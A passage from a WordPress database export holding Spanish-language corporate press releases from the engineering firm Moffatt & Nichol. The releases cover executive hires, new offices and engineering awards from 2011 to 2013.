práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-18','','','2013-12-23 17:58:37','2013-12-23 17:58:37','',1399,'http://moffattnichol.com/spanish/1399-revision-18/',0,'revision','',0),(2810,1,'2013-12-23 18:05:46','2013-12-23 18:05:46','','FAROC-cap','','inherit','open','open','','faroc-cap','','','2013-12-23 18:05:46','2013-12-23 18:05:46','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg',0,'attachment','image/jpeg',0),(2811,1,'2013-12-23 18:04:11','2013-12-23 18:04:11','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseno De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero 